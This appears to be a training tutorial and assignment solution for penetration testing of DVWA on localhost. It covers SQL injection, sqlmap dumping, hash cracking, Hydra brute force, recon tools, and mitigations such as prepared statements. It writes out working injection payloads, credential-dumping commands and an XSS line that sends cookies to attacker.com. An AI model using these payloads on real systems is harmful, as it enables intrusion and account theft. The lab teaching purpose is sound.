3. Set security level to **LOW** under DVWA Security Settings.

📌 Step 2: Identifying SQL Injection Vulnerabilities

🔸 2.1 Finding a Vulnerable Input Field

Test various input fields like:

✓ **Login pages**

✓ **Search boxes**

✓ **URL parameters**

🛠 Example: Testing for SQL Injection in Login Form

1. Go to the **login page** (http://localhost/DVWA/login.php).
2. Enter **SQL payload** in the **username** field:

```
' OR '1'='1' --
```

3. Leave the **password** field empty and click **Login**.

📌 Expected Outcome:

✓ If the site is vulnerable, it logs in without credentials.

📌 Step 3: Extracting Database Information Using SQL Injection

🔸 3.1 Extracting Database Name

Inject the following query into a **search field or login form**:

```
' UNION SELECT database(), NULL, NULL --
```

📌 Expected Output:

✓ The website **displays the database name**.

🔸 3.2 Extracting Table Names

Use the following SQL injection query to list **all tables**:

' UNION SELECT table_name, NULL, NULL FROM information_schema.tables WHERE table_schema=database() --

📌 **Expected Output:**

✓ The site **reveals all table names** in the database.

🔸 3.3 Extracting Column Names from a Specific Table

' UNION SELECT column_name, NULL, NULL FROM information_schema.columns WHERE table_name='users' --

📌 **Expected Output:**

✓ The site **displays column names**, such as username, password.

🔸 3.4 Extracting Usernames and Password Hashes

Once you have the table and column names, extract user credentials:

' UNION SELECT username, password FROM users --

📌 **Expected Output:**

✓ The application **reveals stored usernames and password hashes**.

📌 Step 4: Cracking Password Hashes

If passwords are stored as **hashes**, use **John the Ripper** or **Hashcat** to crack them.

🛠 Step 1: Save Hashes to a File

```
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt
```

🛠 Step 2: Crack Using John the Ripper

```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

📌 Expected Output:

✓ The cracked password appears, e.g., password123.

📌 Step 5: Automating SQL Injection with SQLmap

SQLmap is an **automated SQL injection tool** that quickly identifies and exploits SQL vulnerabilities.

🔸 5.1 Scanning a Target URL

```
sqlmap -u "http://localhost/DVWA/vulnerable.php?id=1" --dbs
```

📌 Expected Output:

✓ SQLmap detects **SQL injection vulnerabilities** and **extracts database names**.

🔸 5.2 Dumping User Credentials

```
sqlmap -u "http://localhost/DVWA/vulnerable.php?id=1" -D dvwa -T users --dump
```

📌 Expected Output:

✓ SQLmap extracts **all usernames and password hashes**.

📌 Step 6: Preventing SQL Injection Attacks

🔹 6.1 Use Prepared Statements (Parameterized Queries)

Instead of insecure SQL queries:

```
$sql = "SELECT * FROM users WHERE username='$user' AND password='$pass'";
```

Use **secure queries with prepared statements**:

```
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");

$stmt->execute([$user, $pass]);
```

🔹 6.2 Use Web Application Firewalls (WAFs)

✓ Configure **ModSecurity** to detect and block SQL injection attempts.

📌 Step 7: Summary & Next Steps

✅ Key Takeaways

✓ SQL Injection exploits vulnerable web applications to extract database records.
✓ Manual exploitation involves testing input fields and using UNION-based SQL injection.
✓ Automated exploitation can be done using SQLmap.
✓ Best defense is using prepared statements, parameterized queries, and WAFs.

📌 **Next Steps:**

- Practice SQL Injection in TryHackMe or Hack The Box.
- Implement secure coding practices to prevent SQLi.
- Stay updated on the latest database security threats. 🚀

📌 ASSIGNMENT:

☑ CONDUCT PENETRATION TESTING ON A TEST WEB APPLICATION.

📌 Solution: Assignment 2 – Conducting Penetration Testing on a Test Web Application

🎯 Objective

The goal of this assignment is to **conduct a penetration test** on a **test web application**, identifying vulnerabilities such as **SQL Injection (SQLi), Cross-Site Scripting (XSS), Broken Authentication, and Security Misconfigurations**.

📌 Step 1: Setting Up the Test Environment

🔹 1.1 Choose a Vulnerable Web Application

For safe testing, use **intentionally vulnerable web applications**, such as:

✓ **Damn Vulnerable Web Application (DVWA)**
✓ **bWAPP (Buggy Web Application)**
✓ **Mutillidae**

🛠 Install DVWA on a Local Machine (Kali Linux or Windows)

git clone https://github.com/digininja/DVWA.git

cd DVWA

sudo service apache2 start

sudo service mysql start

1. Open a browser and navigate to http://localhost/DVWA.
2. **Login credentials:**

- Username: admin
- Password: password

3. Set the **Security Level** to **LOW** in DVWA Security Settings.

📌 Step 2: Reconnaissance & Information Gathering

🔹 2.1 Identify Technologies Used

Command:

whatweb http://localhost/DVWA

✓ Detects **server, CMS, and framework versions**.

🔹 2.2 Enumerate Directories & Hidden Files

Command:

gobuster dir -u http://localhost/DVWA -w /usr/share/wordlists/dirb/common.txt

📌 Expected Output:

✓ Finds **hidden directories** like /admin, /backup, /config.php.

📌 Step 3: Scanning for Vulnerabilities

🔹 3.1 Scan for Web Application Vulnerabilities (Nikto)

Command:

nikto -h http://localhost/DVWA

📌 **Expected Output:**

✓ Detects **insecure headers, outdated software, and exposed directories**.

📌 Step 4: Exploiting Common Web Vulnerabilities

🔸 4.1 SQL Injection (SQLi) Attack

🛠 Step 1: Test for SQLi in Login Form

1. Open the **Login page** (http://localhost/DVWA/login.php).
2. Enter the following SQL injection payload:

```
' OR '1'='1' --
```

3. If successful, the application logs in **without valid credentials**.

🛠 Step 2: Automate SQL Injection with SQLmap

```
sqlmap -u "http://localhost/DVWA/vulnerable.php?id=1" --dbs
```

📌 **Outcome:**

✓ Extracts **database names** and **user credentials**.

🔸 4.2 Cross-Site Scripting (XSS) Attack

🛠 Step 1: Inject JavaScript in Input Fields

```
<script>alert('Hacked!');</script>
```

✓ If vulnerable, the script executes when another user visits the page.

🛠 Step 2: Stealing Cookies with XSS

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

📌 **Outcome:**

✓ Captures **session cookies,** allowing attackers to hijack user accounts.

🔸 **4.3 Testing for Broken Authentication**

🛠 **Step 1: Check for Weak Passwords Using Hydra**

hydra -L users.txt -P rockyou.txt http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"

📌 **Outcome:**

✓ Finds **weak user credentials**.

🔸 **4.4 Testing for Security Misconfigurations**

🛠 **Step 1: Checking for Open Ports**

nmap -p- -sV localhost

📌 **Outcome:**

✓ Identifies **open services** (e.g., **port 22 (SSH), 80 (HTTP), 3306 (MySQL)**).

🛠 **Step 2: Checking for Misconfigured Headers**

curl -I http://localhost/DVWA

📌 **Outcome:**

✓ Detects **missing security headers** like X-Frame-Options.

📌 Step 5: Reporting & Documentation

🔹 5.1 Structure of the Penetration Testing Report

✅ **Target Information** – Website details, technologies used.
✅ **Vulnerabilities Found** – SQLi, XSS, Authentication flaws.
✅ **Exploits Used** – SQLmap, Hydra, Nikto.
✅ **Impact Analysis** – How attackers could misuse vulnerabilities.
✅ **Mitigation Recommendations** – Secure coding practices, patches, WAF rules.

📌 Example Report Entry:

Vulnerability: SQL Injection (SQLi)

Affected URL: http://localhost/DVWA/login.php

Exploit Used: SQLmap -u "http://localhost/DVWA/vulnerable.php?id=1" --dbs

Impact: Allowed unauthorized access to user credentials.

Mitigation: Implement parameterized queries and input validation.

📌 Step 6: Securing the Web Application

🔹 6.1 Secure Coding Practices

✓ Use **Prepared Statements (Parameterized Queries)** to prevent SQLi:

```
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
```

```
$stmt->execute([$username, $password]);
```

✓ Sanitize user input to prevent **XSS**:

```
function sanitize($input) {
 return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
```

✓ Implement **Multi-Factor Authentication (MFA)** to strengthen security.

📌 Step 7: Summary & Next Steps

✅ Key Takeaways

✓ Web applications are vulnerable to SQL Injection, XSS, and Broken Authentication attacks.
✓ Tools like SQLmap, Nikto, and Hydra automate penetration testing.
✓ Security misconfigurations can expose sensitive data.
✓ Developers should implement input validation, security headers, and authentication best practices.

📌 Next Steps:

- 🔹 Practice web penetration testing on TryHackMe & Hack The Box.
- 🔹 Learn secure coding techniques to prevent vulnerabilities.
- 🔹 Implement Web Application Firewalls (WAFs) for better security.

🚀